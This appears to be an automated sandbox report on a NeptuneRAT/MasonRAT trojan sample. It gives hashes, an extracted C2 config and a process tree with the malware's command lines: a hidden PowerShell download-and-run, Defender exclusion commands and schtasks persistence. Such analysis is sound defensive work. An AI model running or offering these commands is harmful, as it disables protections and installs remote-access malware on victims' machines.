Analysis
- max time kernel
24s - max time network
43s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
05/08/2026, 01:20
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
Bypassed.exe
Resource
win10v2004-20260513-en
16 signatures
150 seconds
Behavioral task
behavioral2
Sample
Bypassed.exe
Resource
win11ltsc2024-20260709-en
16 signatures
150 seconds
Errors
Reason
Machine shutdown
General
- Target Bypassed.exe
- Size 1.9MB
- Sample260805-bp8bashj9y
- SHA256 c8446d701d99c5c75a98633f56c3dcce2f0a53c6ebfa542810674f539dc7e896
- MD5 895088641b452ca046da55b8901462d7
- SHA1 e1756aa09e0ead1a6ee58e9b409192043e614822
- SHA512 0cc1108513076c1bac555d01ced27aae9d138d1463416fd056e459b967145f7b19f0e5e0e561ec12483484a874d204773a5170a494e550c29f0a5e29ce02fb7a
- SSDEEP 49152:BMXA6xXZgFUd7gvy3XHHooAj3JJqrdrp9ZjXXkGE8AJ7gnX6cHIQS1eXApMbEJMy:
- TLSH T11995A1141EEE181963B2AE6D5BD478DFC45EABA33B0710F614F2028E4711D93C9E27B9
- MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
Malware Config
Extracted
Family
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neptunerat
C2
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82.22.62.124:443
Attributes
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filename
MasonUSB.exe
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group
MasonGroup
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key
eacBkjvaIIlrNRCZ
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rat_name
MasonRAT
Signatures
- Family: NeptuneRAT, MasonRAT
NeptuneRAT aka MasonRAT is a trojan written in C#.
- Detects NeptuneRAT stealer 2 IoCs
resource yara_rule behavioral2/memory/2864-38-0x00000000018A0000-0x00000000018E4000-memory.dmp family_neptunerat behavioral2/memory/2864-321-0x000000001C0F0000-0x000000001C102000-memory.dmp family_neptunerat - Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
pid Process 5292 powershell.exe 1928 powershell.exe 6052 powershell.exe - Executes dropped EXE 6 IoCs
pid Process 3432 2f44f137-cce8-4c99-bfa5-567027448196.exe 1364 svhost.exe 2864 svhost.exe 1396 3f4ccj1q.fwt.exe 920 svhost.exe 1140 svhost.exe - Drops file in System32 directory 6 IoCs
description ioc Process File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_49536AB5156BDD74EFF881D01C36A419 svchost.exe File opened for modification C:\Windows\System32\Tasks\svhost svchost.exe File opened for modification C:\Windows\System32\CatRoot2\dberr.txt svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml OfficeClickToRun.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_49536AB5156BDD74EFF881D01C36A419 svchost.exe - Drops file in Windows directory 2 IoCs
description ioc Process File created C:\Windows\svhost.exe 2f44f137-cce8-4c99-bfa5-567027448196.exe File opened for modification C:\Windows\svhost.exe 2f44f137-cce8-4c99-bfa5-567027448196.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4420 cmd.exe - Modifies data under HKEY_USERS 14 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata OfficeClickToRun.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "17110992,504928405,41816131,507286179,7202265,17110988,7153487,504928410,577889346,5804129,17962391,508368333,17962392,41484365,24262478,9179409,3462423,3702920,3700754,3965062,24262474,4297094,7153421,3462365,18716193,7153435,24262477,25036127,24262473,9179410,20502174,6308191,18407617,39125643,539756558,6104718,9179411,51475283,41185282,39389248,539756557,528570079,7202269" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections svchost.exe Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR OfficeClickToRun.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0 OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry OfficeClickToRun.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,940 10,941 10,942 10,943 10,940 15,1329 15,940 6,944 50,944 10,941 15,942 15,940 50,943 15,944 6,944 15,943 6,1329 50,1329 100,1329 6,941 6,942 6,944 100,940 100" OfficeClickToRun.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1785892852" OfficeClickToRun.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Mon, 03 Aug 2026 13:52:57 GMT" OfficeClickToRun.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={2B794038-8AAF-4D33-B983-8B13EE1B30E6}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2760 SCHTASKS.exe 1188 SCHTASKS.exe 1736 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 1928 powershell.exe 1928 powershell.exe 6052 powershell.exe 6052 powershell.exe 1396 3f4ccj1q.fwt.exe 1396 3f4ccj1q.fwt.exe 1396 3f4ccj1q.fwt.exe 1396 3f4ccj1q.fwt.exe 1396 3f4ccj1q.fwt.exe 1396 3f4ccj1q.fwt.exe 1396 3f4ccj1q.fwt.exe 1396 3f4ccj1q.fwt.exe 5292 powershell.exe 5292 powershell.exe 1396 3f4ccj1q.fwt.exe 1396 3f4ccj1q.fwt.exe 5292 powershell.exe 1396 3f4ccj1q.fwt.exe 1396 3f4ccj1q.fwt.exe 1396 3f4ccj1q.fwt.exe 1396 3f4ccj1q.fwt.exe 1396 3f4ccj1q.fwt.exe 1396 3f4ccj1q.fwt.exe 1396 3f4ccj1q.fwt.exe 1396 3f4ccj1q.fwt.exe 5292 powershell.exe 1396 3f4ccj1q.fwt.exe 1396 3f4ccj1q.fwt.exe 1396 3f4ccj1q.fwt.exe 1396 3f4ccj1q.fwt.exe 1396 3f4ccj1q.fwt.exe 1396 3f4ccj1q.fwt.exe 1396 3f4ccj1q.fwt.exe 1396 3f4ccj1q.fwt.exe 1396 3f4ccj1q.fwt.exe 1396 3f4ccj1q.fwt.exe 5292 powershell.exe 1396 3f4ccj1q.fwt.exe 1396 3f4ccj1q.fwt.exe 1396 3f4ccj1q.fwt.exe 1396 3f4ccj1q.fwt.exe 1396 3f4ccj1q.fwt.exe 1396 3f4ccj1q.fwt.exe 1396 3f4ccj1q.fwt.exe 1396 3f4ccj1q.fwt.exe 5292 powershell.exe 1396 3f4ccj1q.fwt.exe 1396 3f4ccj1q.fwt.exe 1396 3f4ccj1q.fwt.exe 1396 3f4ccj1q.fwt.exe 1396 3f4ccj1q.fwt.exe 1396 3f4ccj1q.fwt.exe 1396 3f4ccj1q.fwt.exe 1396 3f4ccj1q.fwt.exe 1396 3f4ccj1q.fwt.exe 1396 3f4ccj1q.fwt.exe 1396 3f4ccj1q.fwt.exe 1396 3f4ccj1q.fwt.exe 1396 3f4ccj1q.fwt.exe 1396 3f4ccj1q.fwt.exe 1396 3f4ccj1q.fwt.exe 1396 3f4ccj1q.fwt.exe 1396 3f4ccj1q.fwt.exe 1396 3f4ccj1q.fwt.exe - Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 4984 explorer.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 3432 2f44f137-cce8-4c99-bfa5-567027448196.exe Token: SeDebugPrivilege 1928 powershell.exe Token: SeIncreaseQuotaPrivilege 1928 powershell.exe Token: SeSecurityPrivilege 1928 powershell.exe Token: SeTakeOwnershipPrivilege 1928 powershell.exe Token: SeLoadDriverPrivilege 1928 powershell.exe Token: SeSystemProfilePrivilege 1928 powershell.exe Token: SeSystemtimePrivilege 1928 powershell.exe Token: SeProfSingleProcessPrivilege 1928 powershell.exe Token: SeIncBasePriorityPrivilege 1928 powershell.exe Token: SeCreatePagefilePrivilege 1928 powershell.exe Token: SeBackupPrivilege 1928 powershell.exe Token: SeRestorePrivilege 1928 powershell.exe Token: SeShutdownPrivilege 1928 powershell.exe Token: SeDebugPrivilege 1928 powershell.exe Token: SeSystemEnvironmentPrivilege 1928 powershell.exe Token: SeRemoteShutdownPrivilege 1928 powershell.exe Token: SeUndockPrivilege 1928 powershell.exe Token: SeManageVolumePrivilege 1928 powershell.exe Token: 33 1928 powershell.exe Token: 34 1928 powershell.exe Token: 35 1928 powershell.exe Token: 36 1928 powershell.exe Token: SeDebugPrivilege 6052 powershell.exe Token: SeIncreaseQuotaPrivilege 6052 powershell.exe Token: SeSecurityPrivilege 6052 powershell.exe Token: SeTakeOwnershipPrivilege 6052 powershell.exe Token: SeLoadDriverPrivilege 6052 powershell.exe Token: SeSystemProfilePrivilege 6052 powershell.exe Token: SeSystemtimePrivilege 6052 powershell.exe Token: SeProfSingleProcessPrivilege 6052 powershell.exe Token: SeIncBasePriorityPrivilege 6052 powershell.exe Token: SeCreatePagefilePrivilege 6052 powershell.exe Token: SeBackupPrivilege 6052 powershell.exe Token: SeRestorePrivilege 6052 powershell.exe Token: SeShutdownPrivilege 6052 powershell.exe Token: SeDebugPrivilege 6052 powershell.exe Token: SeSystemEnvironmentPrivilege 6052 powershell.exe Token: SeRemoteShutdownPrivilege 6052 powershell.exe Token: SeUndockPrivilege 6052 powershell.exe Token: SeManageVolumePrivilege 6052 powershell.exe Token: 33 6052 powershell.exe Token: 34 6052 powershell.exe Token: 35 6052 powershell.exe Token: 36 6052 powershell.exe Token: SeDebugPrivilege 1364 svhost.exe Token: SeDebugPrivilege 2864 svhost.exe Token: SeDebugPrivilege 2864 svhost.exe Token: SeDebugPrivilege 1396 3f4ccj1q.fwt.exe Token: SeDebugPrivilege 920 svhost.exe Token: SeDebugPrivilege 5292 powershell.exe Token: SeShutdownPrivilege 4984 explorer.exe Token: SeCreatePagefilePrivilege 4984 explorer.exe Token: SeShutdownPrivilege 4984 explorer.exe Token: SeCreatePagefilePrivilege 4984 explorer.exe Token: SeShutdownPrivilege 4984 explorer.exe Token: SeCreatePagefilePrivilege 4984 explorer.exe Token: SeShutdownPrivilege 4984 explorer.exe Token: SeCreatePagefilePrivilege 4984 explorer.exe Token: SeShutdownPrivilege 4984 explorer.exe Token: SeCreatePagefilePrivilege 4984 explorer.exe Token: SeDebugPrivilege 1140 svhost.exe Token: SeShutdownPrivilege 4984 explorer.exe Token: SeCreatePagefilePrivilege 4984 explorer.exe - Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 4312 Conhost.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 4488 wrote to memory of 3432 4488 Bypassed.exe 89 PID 3432 wrote to memory of 1928 3432 2f44f137-cce8-4c99-bfa5-567027448196.exe 90 PID 3432 wrote to memory of 6052 3432 2f44f137-cce8-4c99-bfa5-567027448196.exe 93 PID 2864 wrote to memory of 1396 2864 svhost.exe 98 PID 2864 wrote to memory of 2760 2864 svhost.exe 99 PID 2864 wrote to memory of 1188 2864 svhost.exe 102 PID 1396 wrote to memory of 744 1396 3f4ccj1q.fwt.exe 5 PID 1396 wrote to memory of 960 1396 3f4ccj1q.fwt.exe 9 PID 1396 wrote to memory of 968 1396 3f4ccj1q.fwt.exe 10 PID 1396 wrote to memory of 996 1396 3f4ccj1q.fwt.exe 11 PID 1396 wrote to memory of 1032 1396 3f4ccj1q.fwt.exe 13 PID 1396 wrote to memory of 1108 1396 3f4ccj1q.fwt.exe 15 PID 1396 wrote to memory of 1160 1396 3f4ccj1q.fwt.exe 16 PID 1396 wrote to memory of 1260 1396 3f4ccj1q.fwt.exe 17 PID 1396 wrote to memory of 1320 1396 3f4ccj1q.fwt.exe 18 PID 1396 wrote to memory of 1336 1396 3f4ccj1q.fwt.exe 19 PID 1396 wrote to memory of 1384 1396 3f4ccj1q.fwt.exe 20 PID 1396 wrote to memory of 1540 1396 3f4ccj1q.fwt.exe 23 PID 1396 wrote to memory of 1636 1396 3f4ccj1q.fwt.exe 24 PID 1396 wrote to memory of 1660 1396 3f4ccj1q.fwt.exe 25 PID 1396 wrote to memory of 1692 1396 3f4ccj1q.fwt.exe 26 PID 1396 wrote to memory of 1752 1396 3f4ccj1q.fwt.exe 27 PID 1396 wrote to memory of 1760 1396 3f4ccj1q.fwt.exe 28 PID 1396 wrote to memory of 1948 1396 3f4ccj1q.fwt.exe 29 PID 1396 wrote to memory of 1972 1396 3f4ccj1q.fwt.exe 30 PID 1396 wrote to memory of 1812 1396 3f4ccj1q.fwt.exe 31 PID 1396 wrote to memory of 1808 1396 3f4ccj1q.fwt.exe 32 PID 1396 wrote to memory of 2172 1396 3f4ccj1q.fwt.exe 33 PID 1396 wrote to memory of 2260 1396 3f4ccj1q.fwt.exe 34 PID 1396 wrote to memory of 2320 1396 3f4ccj1q.fwt.exe 35 PID 1396 wrote to memory of 2348 1396 3f4ccj1q.fwt.exe 36 PID 1396 wrote to memory of 2516 1396 3f4ccj1q.fwt.exe 37 PID 1396 wrote to memory of 2556 1396 3f4ccj1q.fwt.exe 38 PID 1396 wrote to memory of 2564 1396 3f4ccj1q.fwt.exe 39 PID 1396 wrote to memory of 2580 1396 3f4ccj1q.fwt.exe 40 PID 1396 wrote to memory of 2704 1396 3f4ccj1q.fwt.exe 41 PID 1396 wrote to memory of 2876 1396 3f4ccj1q.fwt.exe 42 PID 1396 wrote to memory of 2984 1396 3f4ccj1q.fwt.exe 43 PID 1396 wrote to memory of 3008 1396 3f4ccj1q.fwt.exe 44 PID 1396 wrote to memory of 2672 1396 3f4ccj1q.fwt.exe 45 PID 1396 wrote to memory of 3144 1396 3f4ccj1q.fwt.exe 47 PID 1396 wrote to memory of 3180 1396 3f4ccj1q.fwt.exe 48 PID 1396 wrote to memory of 3252 1396 3f4ccj1q.fwt.exe 49 PID 1396 wrote to memory of 3516 1396 3f4ccj1q.fwt.exe 51 PID 1396 wrote to memory of 3608 1396 3f4ccj1q.fwt.exe 52 PID 1396 wrote to memory of 3616 1396 3f4ccj1q.fwt.exe 53 PID 1396 wrote to memory of 3696 1396 3f4ccj1q.fwt.exe 54 PID 1396 wrote to memory of 3720 1396 3f4ccj1q.fwt.exe 55 PID 1396 wrote to memory of 3728 1396 3f4ccj1q.fwt.exe 56 PID 1396 wrote to memory of 3756 1396 3f4ccj1q.fwt.exe 57 PID 1396 wrote to memory of 1208 1396 3f4ccj1q.fwt.exe 58 PID 1396 wrote to memory of 1136 1396 3f4ccj1q.fwt.exe 59 PID 1396 wrote to memory of 4396 1396 3f4ccj1q.fwt.exe 60 PID 1396 wrote to memory of 4448 1396 3f4ccj1q.fwt.exe 61 PID 1396 wrote to memory of 4476 1396 3f4ccj1q.fwt.exe 62 PID 1396 wrote to memory of 4680 1396 3f4ccj1q.fwt.exe 63 PID 1396 wrote to memory of 4760 1396 3f4ccj1q.fwt.exe 64 PID 1396 wrote to memory of 4108 1396 3f4ccj1q.fwt.exe 65 PID 1396 wrote to memory of 5108 1396 3f4ccj1q.fwt.exe 66 PID 1396 wrote to memory of 5164 1396 3f4ccj1q.fwt.exe 67 PID 1396 wrote to memory of 5472 1396 3f4ccj1q.fwt.exe 70 PID 1396 wrote to memory of 2572 1396 3f4ccj1q.fwt.exe 72 PID 1396 wrote to memory of 2552 1396 3f4ccj1q.fwt.exe 74 PID 1396 wrote to memory of 3536 1396 3f4ccj1q.fwt.exe 75 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:744
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C:\Windows\system32\fontdrvhost.exe"fontdrvhost.exe"2⤵PID:960
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C:\Windows\system32\dwm.exe"dwm.exe"2⤵PID:1160
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C:\Windows\system32\fontdrvhost.exe"fontdrvhost.exe"1⤵PID:968
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C:\Windows\System32\WUDFHost.exe"C:\Windows\System32\WUDFHost.exe" -HostGUID:{193a1820-d9ac-4997-8c55-be817523f6aa} -IoEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-f886469a-202d-4d9a-8c00-c2caf69fe3ac -SystemEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-50e2dc72-770b-4fe4-9d98-a10cf02742ee -IoCancelEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-c65074a4-7056-4ad9-bee9-40065896c1e9 -NonStateChangingEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-e804c834-11b9-42af-8d07-2447c4d6c14a -LifetimeId:13043c9f-009d-409f-80a8-95a1a99c7a1e -DeviceGroupId:WudfDefaultDevicePool -HostArg:01⤵PID:996
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:1032
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p1⤵
- Drops file in System32 directory
PID:1108
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:1260
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1320
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1336
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k GPSvcGroup1⤵PID:1384
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1540
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService1⤵PID:1636
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵
- Drops file in System32 directory
PID:1660 -
C:\Windows\svhost.exe"C:\Windows\svhost.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2864 -
C:\Users\Admin\AppData\Local\Temp\3f4ccj1q.fwt.exe"C:\Users\Admin\AppData\Local\Temp\3f4ccj1q.fwt.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1396
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C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "Masonsvhost.exe" /tr "'C:\Windows\svhost.exe'" /sc onlogon /rl HIGHEST3⤵
- Scheduled Task/Job: Scheduled Task
PID:2760
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C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "Masonsvhost.exe" /tr "'C:\Windows\svhost.exe'" /sc onlogon /rl HIGHEST3⤵
- Scheduled Task/Job: Scheduled Task
PID:1188 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵PID:1356
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -EP Bypass -W Hidden -C "iwr '-' -OutFile $env:TEMP\MasonKit.com; Start-Process -WindowStyle Hidden $env:TEMP\MasonKit.com"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5292 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵PID:4732
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C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /f /sc minute /mo 1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\svhost.exe"3⤵
- Scheduled Task/Job: Scheduled Task
PID:1736 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
- Suspicious use of SetWindowsHookEx
PID:4312
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C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /delete /f /tn "svhost"3⤵PID:3352
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp8F84.tmp.bat""3⤵
- Executes a command shell one-liner
PID:4420
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netprofm -p -s netprofm1⤵PID:1692
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UserProfileService -p -s ProfSvc1⤵PID:1752
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1760
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵PID:1948
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1972
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C:\Windows\system32\sihost.exesihost.exe2⤵PID:4820
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C:\Windows\explorer.exeexplorer.exe /LOADSAVEDWINDOWS3⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
PID:4984 -
C:\Users\Admin\AppData\Local\Temp\Bypassed.exe"C:\Users\Admin\AppData\Local\Temp\Bypassed.exe"4⤵
- Suspicious use of WriteProcessMemory
PID:4488 -
C:\Users\Admin\AppData\Local\Temp\2f44f137-cce8-4c99-bfa5-567027448196.exe"C:\Users\Admin\AppData\Local\Temp\2f44f137-cce8-4c99-bfa5-567027448196.exe"5⤵
- Executes dropped EXE
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3432 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\svhost.exe'6⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1928
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svhost.exe'6⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:6052
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1812
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1808
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p1⤵PID:2172
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:2260
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:2320
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:2348
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:2516
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵
- Modifies data under HKEY_USERS
PID:2556
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TextInputManagementService1⤵PID:2564
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C:\Windows\system32\ctfmon.exe/QuitInfo:0000000000000260;000000000000026C;2⤵PID:4108
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2580
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s DusmSvc1⤵PID:2704
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Wcmsvc1⤵PID:2876
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:2984
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:3008
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:2672
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:3144
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:3180
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s webthreatdefusersvc1⤵PID:3252
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C:\Windows\System32\ShellHost.exe"C:\Windows\System32\ShellHost.exe"1⤵PID:3516
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:3608
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵PID:3616
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:3696
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:3720
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵PID:3728
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:3756
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵PID:1208
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo1⤵PID:1136
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:4396
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:4448
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc1⤵PID:4476
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc1⤵PID:4680
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:4760
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}1⤵PID:5108
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C:\Windows\System32\SecurityHealthSystray.exe"C:\Windows\System32\SecurityHealthSystray.exe"1⤵PID:5164
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k WebThreatDefense -p -s webthreatdefsvc1⤵PID:5472
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s DeviceInstall1⤵PID:2572
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:2552
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:3536
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵PID:6120
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C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2284
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C:\Windows\System32\smartscreen.exeC:\Windows\System32\smartscreen.exe -Embedding1⤵PID:5052
